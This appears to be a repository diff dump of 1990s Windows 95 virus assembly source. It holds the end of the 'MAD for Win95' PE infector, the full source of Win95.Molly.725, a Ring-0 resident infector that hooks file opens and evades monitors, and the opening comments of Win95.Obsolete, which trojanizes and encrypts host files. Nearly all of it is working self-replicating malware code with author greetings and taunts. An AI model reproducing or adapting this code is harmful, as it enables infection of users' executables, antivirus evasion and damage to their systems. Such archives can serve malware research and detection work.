||||
push 0
|
||||
push 0C0000000h
|
||||
mov edx, offset FileName2
|
||||
add edx, ebp
|
||||
push edx
|
||||
call eax
|
||||
cmp eax, 0FFFFFFFFh
|
||||
jz find_next
|
||||
mov ss:FileHandle[ebp], eax
|
||||
mov edi, 3Ch
|
||||
call file_seek
|
||||
mov edi, offset PEPointer
|
||||
add edi, ebp
|
||||
mov ecx, 4
|
||||
call read_file
|
||||
jb error_close
|
||||
mov edi, ss:PEPointer[ebp]
|
||||
call file_seek
|
||||
mov edi, offset PEHeader
|
||||
add edi, ebp
|
||||
mov ecx, 8D0h
|
||||
call read_file
|
||||
cmp ss:PEHeader[ebp], 4550h
|
||||
jnz error_close
|
||||
cmp ss:InfectionMark[ebp], 'WDAM' ;MADW - Mad for Win95
|
||||
jz error_close
|
||||
xor esi, esi
|
||||
xor eax, eax
|
||||
mov ax, ss:NumberSections[ebp]
|
||||
dec ax
|
||||
mov ecx, 28h
|
||||
xor edx, edx
|
||||
mul ecx
|
||||
mov si, ax
|
||||
mov eax, 0BB8h
|
||||
mov ecx, ss:FileAlign[ebp]
|
||||
xor edx, edx
|
||||
div ecx
|
||||
inc eax
|
||||
mul ecx
|
||||
add ss:szRVA[ebp+esi], eax ;virtual size of section
|
||||
mov eax, 7D0h
|
||||
mov ecx, ss:ObjAlign[ebp]
|
||||
xor edx, edx
|
||||
div ecx
|
||||
inc eax
|
||||
mul ecx
|
||||
mov edx, ss:pRAW[ebp+esi] ;pointer to raw data
|
||||
mov ecx, edx
|
||||
add edx, ss:szRAW[ebp+esi] ;size of raw data
|
||||
push edx
|
||||
add ss:pRAW[ebp+esi], eax ;pointer to raw data
|
||||
or ss:ObjAttr[ebp+esi], 0C0000040h ;object attributes
|
||||
add ecx, ss:RVA[ebp+esi] ;RVA of section
|
||||
mov edx, ss:EntryRVA[ebp]
|
||||
mov ss:EntryRVA[ebp], ecx
|
||||
sub ecx, edx
|
||||
add ecx, 5
|
||||
mov dword ptr ss:old_RVA+1[ebp], ecx
|
||||
mov ss:InfectionMark[ebp], 'WDAM' ;set the mark
|
||||
mov edi, ss:PEPointer[ebp]
|
||||
call file_seek
|
||||
mov edi, offset PEHeader
|
||||
add edi, ebp
|
||||
mov ecx, 8D0h
|
||||
call write_file ;write the modificated
|
||||
pop edi ;header info
|
||||
add ss:Seed[ebp], edi
|
||||
call file_seek
|
||||
mov eax, ss:Seed[ebp]
|
||||
neg eax
|
||||
mov ss:Key[ebp], al
|
||||
mov esi, offset start
|
||||
add esi, ebp
|
||||
mov edi, offset EncriptedBody
|
||||
add edi, ebp
|
||||
mov ecx, 0AB0h
|
||||
cld
|
||||
repe movsb ;zopy virus to work area
|
||||
mov edi, offset EncriptedBody
|
||||
add edi, ebp
|
||||
add edi, 45h
|
||||
mov ecx, 0A6Bh
|
||||
mov al, ss:Key[ebp]
|
||||
|
||||
enc_loop:
|
||||
xor [edi], al ;encript it
|
||||
inc edi
|
||||
loop enc_loop
|
||||
mov edi, offset EncriptedBody
|
||||
add edi, ebp
|
||||
mov ecx, 0AB0h
|
||||
call write_file ;attach virus
|
||||
|
||||
error_close:
|
||||
not ss:Seed[ebp]
|
||||
lea eax, _CloseFile[ebp]
|
||||
call get_api_addr
|
||||
jb short _check_payload
|
||||
push ss:FileHandle[ebp]
|
||||
call eax
|
||||
|
||||
find_next:
|
||||
lea eax, _FNFile[ebp]
|
||||
call get_api_addr
|
||||
jb short _check_payload
|
||||
lea edx, FINDATA[ebp]
|
||||
push edx
|
||||
push ss:SearchHandle[ebp]
|
||||
call eax
|
||||
cmp eax, 0
|
||||
jnz infect_next
|
||||
|
||||
change_dir:
|
||||
cmp ss:TotalInf[ebp], 3 ;only stop after 3 directorys
|
||||
jz short _check_payload ;infected
|
||||
lea eax, _SetDir[ebp]
|
||||
call get_api_addr
|
||||
jb short _check_payload
|
||||
lea edx, DotDot[ebp] ;go down a directory
|
||||
push edx
|
||||
call eax
|
||||
inc ss:TotalInf[ebp]
|
||||
cmp eax, 1
|
||||
jz find_filez
|
||||
|
||||
_check_payload:
|
||||
jmp short check_payload
|
||||
|
||||
read_file:
|
||||
push edi
|
||||
push ecx
|
||||
lea eax, _ReadFile[ebp]
|
||||
call get_api_addr
|
||||
pop ecx
|
||||
pop edi
|
||||
cmp eax, 0
|
||||
jnz short rf_addr_ok
|
||||
stc
|
||||
retn
|
||||
rf_addr_ok:
|
||||
push 0
|
||||
lea ebx, NumRead[ebp]
|
||||
push ebx
|
||||
push ecx
|
||||
push edi
|
||||
push ss:FileHandle[ebp]
|
||||
call eax
|
||||
retn
|
||||
|
||||
write_file:
|
||||
push edi
|
||||
push ecx
|
||||
lea eax, _WriteFile[ebp]
|
||||
call get_api_addr
|
||||
pop ecx
|
||||
pop edi
|
||||
cmp eax, 0
|
||||
jnz short wf_addr_ok
|
||||
stc
|
||||
retn
|
||||
wf_addr_ok:
|
||||
push 0
|
||||
lea ebx, NumRead[ebp]
|
||||
push ebx
|
||||
push ecx
|
||||
push edi
|
||||
push ss:FileHandle[ebp]
|
||||
call eax
|
||||
retn
|
||||
|
||||
file_seek:
|
||||
lea eax, _FileSeek[ebp]
|
||||
call get_api_addr
|
||||
push 0
|
||||
push 0
|
||||
push edi
|
||||
push ss:FileHandle[ebp]
|
||||
call eax
|
||||
retn
|
||||
|
||||
check_payload:
|
||||
lea eax, _GetTime[ebp]
|
||||
call get_api_addr
|
||||
jb short no_payload
|
||||
lea edx, SYSTIME[ebp]
|
||||
push edx
|
||||
call eax
|
||||
cmp ss:cDay[ebp], 1
|
||||
jnz short no_payload
|
||||
lea eax, _User32[ebp]
|
||||
push eax
|
||||
mov eax, ss:pGetModuleHdle[ebp]
|
||||
call eax ;get handle for USER32.DLL
|
||||
mov ss:KernelHandle[ebp], eax
|
||||
cmp eax, 0
|
||||
jz short no_payload
|
||||
lea eax, _MsgBox[ebp]
|
||||
call get_api_addr
|
||||
jb short no_payload
|
||||
push 1030h
|
||||
mov edx, offset MsgTitle
|
||||
add edx, ebp
|
||||
push edx
|
||||
mov edx, offset MsgText
|
||||
add edx, ebp
|
||||
push edx
|
||||
push 0
|
||||
call eax ;pop a MessageBox with virus
|
||||
lea eax, _Kernel32[ebp] ;credits
|
||||
push eax
|
||||
mov eax, ss:pGetModuleHdle[ebp]
|
||||
call eax
|
||||
mov ss:KernelHandle[ebp], eax
|
||||
|
||||
no_payload:
|
||||
lea eax, _SetDir[ebp]
|
||||
call get_api_addr
|
||||
jb short return_host
|
||||
lea edx, CurrentDir[ebp]
|
||||
push edx
|
||||
call eax
|
||||
|
||||
return_host:
|
||||
mov edi, ebp
|
||||
mov ebp, ds:SaveEBP[edi]
|
||||
jmp ds:HostEntry[edi]
|
||||
|
||||
extract_addr:
|
||||
pusha
|
||||
mov ecx, [esi]
|
||||
add esi, 4
|
||||
repe cmpsb ;is api we want?
|
||||
popa
|
||||
jnz short no_func
|
||||
xchg eax, esi
|
||||
mov eax, [ebx+1Ch]
|
||||
add eax, ss:pAPIRVA[ebp]
|
||||
add eax, ss:KernelBase[ebp]
|
||||
add eax, ecx
|
||||
mov eax, [eax]
|
||||
add eax, ss:KernelBase[ebp]
|
||||
mov [esi], eax ;set adress
|
||||
no_func:
|
||||
retn
|
||||
|
||||
get_api_addr:
|
||||
push eax
|
||||
mov eax, ss:KernelHandle[ebp]
|
||||
push eax
|
||||
call ss:pGetProcAddress[ebp]
|
||||
cmp eax, 0
|
||||
jnz short proc_found
|
||||
stc ;set carry on error
|
||||
proc_found:
|
||||
retn
|
||||
|
||||
KernelBase dd 0
|
||||
pAPIRVA dd 0
|
||||
|
||||
pGetProcAddress dd 0
|
||||
szGetProcAddres dd 0Fh ;size of string to search
|
||||
db 'GetProcAddress',0
|
||||
|
||||
pGetModuleHdle dd 0
|
||||
szGetModuleHdle dd 11h ;size of string to search
|
||||
db 'GetModuleHandleA',0
|
||||
|
||||
_Kernel32 db 'KERNEL32',0
|
||||
_User32 db 'USER32',0
|
||||
|
||||
_MsgBox db 'MessageBoxA',0 ;this one we get from user32
|
||||
|
||||
_FFile db 'FindFirstFileA',0 ;and all these otherz from
|
||||
_CreateFile db 'CreateFileA',0 ;kernel32
|
||||
_CloseFile db 'CloseHandle',0
|
||||
_ReadFile db 'ReadFile',0
|
||||
_WriteFile db 'WriteFile',0
|
||||
_FileSeek db 'SetFilePointer',0
|
||||
_FNFile db 'FindNextFileA',0
|
||||
_GetTime db 'GetLocalTime',0
|
||||
_SetDir db 'SetCurrentDirectoryA',0
|
||||
_GetDir db 'GetCurrentDirectoryA',0
|
||||
|
||||
KernelHandle dd 0 ;also used for USER32.DLL
|
||||
;when using payload
|
||||
|
||||
MsgTitle db 'Multiplatform Advanced Destroyer',0
|
||||
MsgText db 'Hello user your computer is infected by MAD virus',0Dh
|
||||
db 'Welcome to my first virus for Windoze95...',0Dh
|
||||
db 'Distribution & Copyright by Black Angel 1997',0
|
||||
;uhh... a confession... ;-)
|
||||
|
||||
ExeMask db '*.eXe',0
|
||||
|
||||
db '[MAD for Win95] version 1.0 BETA! (c)Black Angel`97',0
|
||||
|
||||
DotDot db '..',0 ;for directory changing
|
||||
|
||||
SearchHandle dd 0
|
||||
FileHandle dd 0
|
||||
NumRead dd 0
|
||||
Seed dd 0
|
||||
|
||||
SYSTIME equ this byte
|
||||
cYear dw 0
|
||||
cMonth dw 0
|
||||
cDWeek dw 0
|
||||
cDay dw 0
|
||||
cHour dw 0
|
||||
cMin dw 0
|
||||
cSec dw 0
|
||||
cMlSec dw 0
|
||||
|
||||
FINDATA dd 0 ;File Attribute
|
||||
dd 0 ;Creation Date
|
||||
dd 0 ;Last Acess Date
|
||||
dd 0 ;Last Write Date
|
||||
dd 0 ;File Size h
|
||||
dd 0 ;File Size l
|
||||
dd 0 ;Reserved
|
||||
Security dd 0
|
||||
FileName db 0Ch dup(0)
|
||||
FileName2 db 200h dup(0)
|
||||
|
||||
PEPointer dd 0
|
||||
TotalInf db 0
|
||||
CurrentDir db 100h dup(0)
|
||||
|
||||
PEHeader dd 0 ;from here to end, are all
|
||||
dw 0 ;bufferz that w95.mad.2736
|
||||
NumberSections dw 0 ;use for read, encription
|
||||
db 20h dup(0) ;and like...
|
||||
EntryRVA dd 0
|
||||
db 0Ch dup(0)
|
||||
FileAlign dd 0
|
||||
ObjAlign dd 0
|
||||
db 18h dup(0)
|
||||
InfectionMark dd 0
|
||||
EncriptedBody db 0A4h dup(0)
|
||||
szRVA dd 0
|
||||
RVA dd 0
|
||||
pRAW dd 0
|
||||
szRAW dd 0
|
||||
dd 0
|
||||
dd 0
|
||||
dd 0
|
||||
ObjAttr dd 0
|
||||
db 608Ch dup(0)
|
||||
|
||||
end start
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,540 @@
|
||||
; [Win95.Molly.725] - An experimental specimen
|
||||
; Copyright (c) 1999 by Billy Belcebu/iKX
|
||||
;
|
||||
; [ Introduction ]
|
||||
;
|
||||
; This is an experimental virus. After Win32.Legacy i needed to do something
|
||||
; small and functional. And here it is. This is my third Ring-0 virus,but the
|
||||
; code scheme is different this time from my two other R0's (Garaipena and
|
||||
; PoshKiller). This virus was written just at the same time while i started
|
||||
; to read Neuromancer, and as you can see, its name comes from the girl with
|
||||
; specular lens, that is one of the main characters of the book (hey, don't
|
||||
; hesitate and read it!).
|
||||
;
|
||||
; [ Features ]
|
||||
;
|
||||
; + Ring-0 virus by means of modifying the IDT
|
||||
; + Resident fast infector of PE files with EXE extension
|
||||
; + Infects when system opens file
|
||||
; + Overwriting virus (heheh, don't go mad, overwrite relocs) :)
|
||||
; + AntiMonitor tunneling (through InstallFileSystemApiHook structure)
|
||||
; + Heavy optimization (at least i've tried to), only 725 bytes
|
||||
; + My smallest virus so far :)
|
||||
;
|
||||
; [ Greetings ]
|
||||
;
|
||||
; + Wintermute &
|
||||
; zAxOn - Thanx for pushing me to read Neuromancer... W0W!
|
||||
; + Qozah/29A - Thanx for your help and support, dude
|
||||
; + Benny/29A - I wanna hear that Czech group ;)
|
||||
; + Super/29A - Why are you always in my greets? :)
|
||||
; + StarZer0/iKX - sexsexsexsexsexsexsexsexsexsexsexsexsexsexsexsexsex
|
||||
; + b0z0/iKX - Padania Libera rules!
|
||||
;
|
||||
; (c) 1999 Billy Belcebu/iKX
|
||||
|
||||
.586p
|
||||
.model flat,stdcall
|
||||
|
||||
extrn MessageBoxA:PROC
|
||||
extrn ExitProcess:PROC
|
||||
|
||||
.data
|
||||
|
||||
szTitle db "[Win95.Molly."
|
||||
db virus_size/0100 mod 10 + "0"
|
||||
db virus_size/0010 mod 10 + "0"
|
||||
db virus_size/0001 mod 10 + "0"
|
||||
db "]",0
|
||||
szMessage db "First generation host",10
|
||||
db "(c) 1999 Billy Belcebu/iKX",0
|
||||
|
||||
.code
|
||||
|
||||
virus:
|
||||
int 3
|
||||
jmp molly1
|
||||
fakehost:
|
||||
call MessageBoxA,00h,offset szMessage,offset szTitle,1000h
|
||||
call ExitProcess,00h
|
||||
|
||||
; ===========================================================================
|
||||
; Win95.Molly
|
||||
; ===========================================================================
|
||||
|
||||
molly segment dword use32 public '.molly'
|
||||
|
||||
; --- Virus mode
|
||||
|
||||
DEBUG equ FALSE
|
||||
|
||||
; --- Some equates
|
||||
|
||||
d equ <[ebp]-offset delta>
|
||||
rd equ <[ebp]-offset r0delta>
|
||||
rd_ equ <[ebx]-offset r0delta>
|
||||
|
||||
virus_size equ virus_end-virus_start
|
||||
heap_size equ heap_end-virus_end
|
||||
total_size equ virus_size+heap_size
|
||||
|
||||
TRUE equ 01h
|
||||
FALSE equ 00h
|
||||
|
||||
PUSHAD_EDI equ 00h
|
||||
PUSHAD_ESI equ 04h
|
||||
PUSHAD_EBP equ 08h
|
||||
PUSHAD_ESP equ 0Ch
|
||||
PUSHAD_EBX equ 10h
|
||||
PUSHAD_EDX equ 14h
|
||||
PUSHAD_ECX equ 18h
|
||||
PUSHAD_EAX equ 1Ch
|
||||
|
||||
PUSHAD_SIZE equ 20h
|
||||
|
||||
; --- VxD Functions
|
||||
|
||||
VMM_Get_DDB equ 00010146h
|
||||
IFSMgr_GetHeap equ 0040000Dh
|
||||
IFSMgr_RetHeap equ 0040000Eh
|
||||
IFSMgr_Ring0_FileIO equ 00400032h
|
||||
IFSMgr_InstallFileSystemApiHook equ 00400067h
|
||||
|
||||
; --- Hooked Functions
|
||||
|
||||
IFSFN_FILEATTRIB equ 21h
|
||||
IFSFN_OPEN equ 24h
|
||||
IFSFN_RENAME equ 25h
|
||||
|
||||
; --- IFSMgr_Ring0_FileIO functions used
|
||||
|
||||
R0_FILEATTRIBUTES equ 04300h
|
||||
R0_OPENCREATFILE equ 0D500h
|
||||
R0_CLOSEFILE equ 0D700h
|
||||
R0_READFILE equ 0D600h
|
||||
R0_WRITEFILE equ 0D601h
|
||||
|
||||
; --- Macro land
|
||||
|
||||
dbg macro shit2do
|
||||
IF DEBUG
|
||||
shit2do
|
||||
ENDIF
|
||||
endm
|
||||
|
||||
beep macro
|
||||
mov ax, 1000
|
||||
mov bx, 200
|
||||
mov cx, ax
|
||||
mov al, 0B6h
|
||||
out 43h, al
|
||||
mov dx, 0012h
|
||||
mov ax, 34DCh
|
||||
div cx
|
||||
out 42h, al
|
||||
mov al, ah
|
||||
out 42h, al
|
||||
in al, 61h
|
||||
mov ah, al
|
||||
or al, 03h
|
||||
out 61h, al
|
||||
l1: mov ecx, 4680d
|
||||
l2: loop l2
|
||||
dec bx
|
||||
jnz l1
|
||||
mov al, ah
|
||||
out 61h, al
|
||||
endm
|
||||
|
||||
VxDCall macro VxDService
|
||||
int 20h
|
||||
dd VxDService
|
||||
endm
|
||||
|
||||
VxDJmp macro VxDService
|
||||
int 20h
|
||||
dd VxDService+8000h
|
||||
endm
|
||||
|
||||
virus_start label byte
|
||||
|
||||
; --- Virus entrypoint
|
||||
|
||||
molly1: jmp gdelta
|
||||
|
||||
; --- Virus data
|
||||
|
||||
kernel dd 00000000h
|
||||
|
||||
; --- Virus code
|
||||
|
||||
gdelta: call delta ; Get a relative offset
|
||||
delta: pop ebp
|
||||
|
||||
push 05h ; ECX = 5
|
||||
pop ecx ; (limit for 'GetImageBase')
|
||||
|
||||
mov esi,ebp ; ESI = Relative offset
|
||||
call GetImageBase ; Get host's imagebase
|
||||
mov ModBase d,eax ; Store it
|
||||
|
||||
mov ecx,cs ; Avoid installation if we're
|
||||
xor cl,cl ; in WinNT
|
||||
jecxz GimmeSomethingBaby
|
||||
|
||||
push 05h ; ECX = 5
|
||||
pop ecx ; (limit for 'GetImageBase')
|
||||
|
||||
mov esi,[esp]
|
||||
call GetImageBase
|
||||
mov kernel d,eax
|
||||
|
||||
push edx
|
||||
sidt fword ptr [esp-2] ; Interrupt table to stack
|
||||
pop edx
|
||||
|
||||
IF DEBUG
|
||||
add dl,((5*8)+4)
|
||||
ELSE
|
||||
add dl,((3*8)+4)
|
||||
ENDIF
|
||||
|
||||
mov ebx,[edx]
|
||||
mov bx,word ptr [edx-4]
|
||||
|
||||
lea esi,NewInt3 d
|
||||
|
||||
mov [edx-4],si
|
||||
shr esi,16 ; Move MSW to LSW
|
||||
mov [edx+2],si
|
||||
|
||||
IF DEBUG
|
||||
int 5
|
||||
ELSE
|
||||
int 3
|
||||
ENDIF
|
||||
|
||||
mov [edx-4],bx
|
||||
shr ebx,16
|
||||
mov [edx+2],bx
|
||||
|
||||
GimmeSomethingBaby:
|
||||
mov ebx,00400000h ; Get at runtime
|
||||
ModBase equ $-4
|
||||
add ebx,(fakehost-virus)+00001000h ; Get at infection time
|
||||
OldEIP equ $-4
|
||||
|
||||
jmp ebx
|
||||
|
||||
NewInt3:
|
||||
pushad
|
||||
|
||||
dbg
|
||||
|
||||
mov eax,kernel d ; EAX = K32 imagebase
|
||||
add al,38h ; Ptr to an unused field
|
||||
|
||||
cmp word ptr [eax],0CA5Eh ; Already installed?
|
||||
jz already_installed ; If so, exit
|
||||
|
||||
mov word ptr [eax],0CA5Eh ; Case is here...
|
||||
|
||||
fild real8 ptr [ebp+(@@1-delta)] ; Do u know any other way for
|
||||
; manipulate more than 4 bytes?
|
||||
; (without MMX, dork ;)
|
||||
push total_size
|
||||
@@1: VxDCall IFSMgr_GetHeap
|
||||
xchg eax,ecx
|
||||
pop eax
|
||||
|
||||
fistp real8 ptr [ebp+(@@1-delta)]
|
||||
|
||||
jecxz already_installed
|
||||
|
||||
xchg eax,ecx
|
||||
mov edi,eax
|
||||
lea esi,virus_start d
|
||||
rep movsb
|
||||
|
||||
lea edi,[eax+(FileSystemHook-virus_start)]
|
||||
xchg edi,eax
|
||||
push eax
|
||||
@@2: VxDCall IFSMgr_InstallFileSystemApiHook
|
||||
pop ebx
|
||||
|
||||
xchg esi,eax
|
||||
push esi
|
||||
add esi,04h
|
||||
tunnel: lodsd
|
||||
xchg eax,esi
|
||||
add esi,08h
|
||||
js tunnel
|
||||
|
||||
mov dword ptr [edi+(top_chain-virus_start)],eax
|
||||
pop eax
|
||||
mov dword ptr [edi+(OldFSA-virus_start)],eax
|
||||
|
||||
and byte ptr [edi+(semaphore-virus_start)],00h
|
||||
|
||||
already_installed:
|
||||
popad
|
||||
iret
|
||||
|
||||
; --- The new FileSystem hook ;)
|
||||
|
||||
FileSystemHook proc c, FSD_Func_Address:DWORD, Function:DWORD, Drive:DWORD,\
|
||||
ResourceKind:DWORD, StrCodePage:DWORD, PtrIOREQ:DWORD
|
||||
|
||||
cmp Function,IFSFN_OPEN ; File Open? Infect if it is
|
||||
jz infect
|
||||
|
||||
ExitFileSystemHook:
|
||||
mov eax,12345678h
|
||||
org $-4
|
||||
OldFSA dd 00000000h
|
||||
call [eax] c, FSD_Func_Address, Function, Drive, ResourceKind, \
|
||||
StrCodePage, PtrIOREQ
|
||||
ret
|
||||
FileSystemHook endp
|
||||
|
||||
r0fio: VxDJmp IFSMgr_Ring0_FileIO
|
||||
R0_FileIO: VxDJmp IFSMgr_Ring0_FileIO
|
||||
dw 0000h
|
||||
|
||||
pe_header_ptr dd 00000000h
|
||||
top_chain dd 00000000h
|
||||
semaphore db 00h
|
||||
|
||||
infect:
|
||||
pushfd
|
||||
pushad
|
||||
|
||||
call r0delta
|
||||
r0delta:pop ebx
|
||||
|
||||
cmp byte ptr [ebx+(semaphore-r0delta)],00h
|
||||
jnz exit_infect
|
||||
|
||||
inc byte ptr [ebx+(semaphore-r0delta)]
|
||||
|
||||
lea esi,top_chain rd_ ; Make null top chain, so we
|
||||
lodsd ; avoid monitors by means of
|
||||
xor edx,edx ; cutting their balls :)
|
||||
xchg [eax],edx
|
||||
|
||||
pushad
|
||||
|
||||
lea edi,filename rd_
|
||||
push edi
|
||||
|
||||
mov esi,PtrIOREQ ; ESI = Ptr to IOREQ struc
|
||||
mov esi,[esi.2Ch] ; ESI = Ptr to UNI filename
|
||||
uni2asciiz:
|
||||
movsb ; Convert to ASCIIz
|
||||
dec edi
|
||||
cmpsb
|
||||
jnz uni2asciiz
|
||||
|
||||
pop edx ; EDI = Ptr to ASCIIz filename
|
||||
|
||||
cmp dword ptr [edi-05h],"EXE." ; Infect only EXE files
|
||||
jnz AvoidInfection
|
||||
|
||||
IF DEBUG
|
||||
cmp dword ptr [edi-0Ch],"TAOG"
|
||||
jnz AvoidInfection
|
||||
ENDIF
|
||||
|
||||
mov esi,edx ; ESI = Ptr to filename
|
||||
xor eax,eax
|
||||
mov ah,R0_FILEATTRIBUTES/100h ; EAX = Function
|
||||
; GETFILEATTRIBUTES
|
||||
push eax
|
||||
call R0_FileIO
|
||||
pop eax
|
||||
jc AvoidInfection
|
||||
|
||||
inc eax ; EAX = Function
|
||||
; SETFILEATTRIBUTES
|
||||
push esi
|
||||
push ecx
|
||||
push eax
|
||||
xor ecx,ecx ; ECX = New attributes
|
||||
call R0_FileIO
|
||||
jc RestoreAttributes
|
||||
|
||||
xor eax,eax
|
||||
cdq
|
||||
mov ah,R0_OPENCREATFILE/100h ; EAX = Function OPENFILE
|
||||
mov ecx,edx ; ECX = 0
|
||||
inc edx ; EDX = 1
|
||||
mov ebp,edx
|
||||
inc ebp
|
||||
xchg ebp,ebx ; EBX = 2
|
||||
call R0_FileIO
|
||||
jc RestoreAttributes
|
||||
xchg eax,ebx ; EBX = File handle
|
||||
|
||||
xor eax,eax
|
||||
mov ah,R0_READFILE/100h ; EAX = Function READFILE
|
||||
push eax
|
||||
push 04h
|
||||
pop ecx ; ECX = Bytes to read (4)
|
||||
push 3Ch
|
||||
pop edx ; EDX = Where to read (3C)
|
||||
lea esi,pe_header_ptr rd ; ESI = Where store data
|
||||
call R0_FileIO
|
||||
|
||||
lodsd
|
||||
xchg eax,edx ; EDX = Where to read
|
||||
pop eax ; EAX = Function READFILE
|
||||
lea esi,pe_header rd ; ESI = Where store data
|
||||
xor ecx,ecx
|
||||
mov ch,04h ; ECX = Bytes to read (1K)
|
||||
call R0_FileIO
|
||||
|
||||
cmp word ptr [esi],"EP"
|
||||
jnz CloseFile
|
||||
|
||||
mov al,"M"-"O"+"L"-"L"+"Y" ; Mark in the PE header
|
||||
cmp byte ptr [esi+1Ah],al
|
||||
jz CloseFile
|
||||
mov byte ptr [esi+1Ah],al
|
||||
|
||||
mov edi,esi
|
||||
movzx eax,word ptr [edi+06h] ; Get last section of header
|
||||
dec eax
|
||||
imul eax,eax,28h
|
||||
add esi,eax
|
||||
add esi,78h
|
||||
mov edx,[edi+74h]
|
||||
shl edx,03h
|
||||
add esi,edx ; ESI = last section header
|
||||
; EDI = PE header
|
||||
|
||||
mov [esi+24h],0E0000000h ; New sectionz attributes
|
||||
|
||||
and dword ptr [edi+0A0h],00h ; Nulify possible .reloc
|
||||
and dword ptr [edi+0A4h],00h
|
||||
|
||||
cmp dword ptr [esi],"ler."
|
||||
jnz CloseFile
|
||||
cmp word ptr [esi+04h],"co"
|
||||
jnz CloseFile
|
||||
|
||||
; Oh, wtf, OVERWRITE! ;)
|
||||
|
||||
mov dword ptr [esi],"lom." ; .reloc -> .molly
|
||||
mov word ptr [esi+4],"yl"
|
||||
|
||||
and dword ptr [esi+18h],00h ; Clear PointerToRelocations
|
||||
and word ptr [esi+20h],00h ; Clear NumberOfRelocations
|
||||
|
||||
push dword ptr [esi+14h] ; Where copy virus
|
||||
|
||||
mov eax,virus_size
|
||||
mov [esi+08h],eax ; VirtualSize -> virus size
|
||||
mov ecx,[edi+3Ch]
|
||||
|
||||
cdq ; Align, sucker
|
||||
push eax
|
||||
div ecx
|
||||
pop eax
|
||||
sub ecx,edx
|
||||
add eax,ecx
|
||||
|
||||
mov [esi+10h],eax ; SizeOfRawData -> aligned
|
||||
; virus size
|
||||
|
||||
mov eax,[esi+0Ch] ; New EIP
|
||||
xchg eax,[edi+28h] ; Put new EIP and get old one
|
||||
mov OldEIP rd,eax ; Save it
|
||||
|
||||
push eax
|
||||
|
||||
xor eax,eax
|
||||
mov ah,R0_WRITEFILE/100h ; Write the modified header
|
||||
inc eax
|
||||
push eax
|
||||
xor ecx,ecx
|
||||
mov ch,04h
|
||||
mov edx,pe_header_ptr rd
|
||||
lea esi,pe_header rd
|
||||
call R0_FileIO
|
||||
|
||||
fild real8 ptr [ebp+(r0fio-r0delta)] ; Fix R0_FileIO VxDJmp...
|
||||
fistp real8 ptr [ebp+(R0_FileIO-r0delta)]
|
||||
|
||||
pop eax ; Write virus
|
||||
pop ecx
|
||||
pop edx
|
||||
lea esi,virus_start rd
|
||||
call R0_FileIO
|
||||
|
||||
CloseFile:
|
||||
xor eax,eax
|
||||
mov ah,R0_CLOSEFILE/100h
|
||||
call R0_FileIO
|
||||
|
||||
RestoreAttributes:
|
||||
pop eax
|
||||
pop ecx
|
||||
pop esi
|
||||
call R0_FileIO
|
||||
|
||||
AvoidInfection:
|
||||
popad
|
||||
|
||||
mov [eax],edx ; Restore top chain
|
||||
|
||||
dec byte ptr [ebx+(semaphore-r0delta)]
|
||||
|
||||
exit_infect:
|
||||
popad
|
||||
popfd
|
||||
jmp ExitFileSystemHook
|
||||
|
||||
; input:
|
||||
; ESI - Any position in the page where we want to search
|
||||
; ECX - Search limit (number of pages(limit)/10)
|
||||
; output:
|
||||
; EAX - Base address of module/process
|
||||
|
||||
GetImageBase:
|
||||
pushad
|
||||
and esi,0FFFF0000h
|
||||
_@1: cmp word ptr [esi],"ZM"
|
||||
jz CheckPE
|
||||
_@2: sub esi,00010000h
|
||||
loop _@1
|
||||
jmp WeFailed
|
||||
CheckPE:
|
||||
mov edi,[esi.3Ch]
|
||||
add edi,esi
|
||||
cmp word ptr [edi],"EP"
|
||||
jnz _@2
|
||||
mov [esp.PUSHAD_EAX],esi
|
||||
WeFailed:
|
||||
popad
|
||||
ret
|
||||
|
||||
; --- Some shit
|
||||
|
||||
db 00h,"[Win95.Molly] (c) 1999 Billy Belcebu/iKX",00h
|
||||
|
||||
; --- Virus heap data
|
||||
|
||||
virus_end label byte
|
||||
filename db 100h dup (00h)
|
||||
pe_header db 400h dup (00h)
|
||||
|
||||
heap_end label byte
|
||||
|
||||
molly ends
|
||||
|
||||
end virus
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,854 @@
|
||||
;============================================================================
|
||||
;
|
||||
;
|
||||
; NAME: Win95.Obsolete v1.00
|
||||
; TYPE: Direct-action variable encrypting PE-infector.
|
||||
; OS: Windoze95 (my version that is).
|
||||
; SIZE: 1400-sumptin' bytes (yuck!).
|
||||
; AUTHOR: T-2000 / [Immortal Riot].
|
||||
; E-MAIL: T2000_@hotmail.com
|
||||
; DATE: December 1998 - February 1999.
|
||||
; PAYLOAD: Trojanizes files.
|
||||
;
|
||||
;
|
||||
; Driven by the painful thought that my virii would never make the rounds
|
||||
; again, I had to abandon my soulmate DOS and start writing for the Win32-
|
||||
; beast... may the Incubus get me...
|
||||
;
|
||||
; Obsolete is a 32-bit virus specifically written for Windoze95, however,
|
||||
; it may or may not work correctly under other Win95-releases than mine,
|
||||
; this due the fact that it uses two static API's (namely GetModuleHandleA
|
||||
; and GetProcAddressA). When an infected file is executed the virus will
|
||||
; try to infect up to three PE EXE/SCR files in the Windoze, System, and
|
||||
; current directory. Files starting with the DWORD 'SCAN' will be excluded
|
||||
; from infection, I assume McFuck's Win95-SCAN does a sanity-check, though
|
||||
; I haven't verified this. Filedates/times will be preserved during the
|
||||
; infection-process, and the virus won't be bothered by readonly-attributes.
|
||||
; Obsolete doesn't fix a PE's alignments, Win95 doesn't give a fuck while
|
||||
; WinNT does. Infection is achieved by adding the virusbody to the end of
|
||||
; the victim's last section and pointing Entrypoint_RVA to this position.
|
||||
; PE's are physically cut-off after the virusbody, this means that infected
|
||||
; files can both grow or shrink in size. To make this heap of API's a bit
|
||||
; less trivial I made it variable encrypt the last section of the host-file,
|
||||
; it should harden-up recovery for the AV-pigs. Besides the virus itself is
|
||||
; also variable encrypted with a seperate key. The payload is rather "harm-
|
||||
; less" from my point of view, every now & then it trojanizes the file it is
|
||||
; infecting, trojanized files will generate a soundblaster beep, display an
|
||||
; OK-box with a message, and then exit the current process, they won't pass
|
||||
; control back to their host anymore, but are still cleanable.
|
||||
;
|
||||
; Now why is it that almost everybody is infecting PE's by adding to the
|
||||
; last section? (being called the "29A-technique" by a certain group of
|
||||
; braggers). For instance, you are changing the section's flags, in Windoze
|
||||
; you should always stay the fuck off things that ain't yours. Furthermore,
|
||||
; when you overwrite the (supposed to be) zero padding-bytes with your virus,
|
||||
; you might just as well overwrite overlay-data, and what if you decide to
|
||||
; stay resident in the "stolen" section? it is very likely that the section's
|
||||
; virtualsize will overlap with your virus, and thus crash the system.
|
||||
;
|
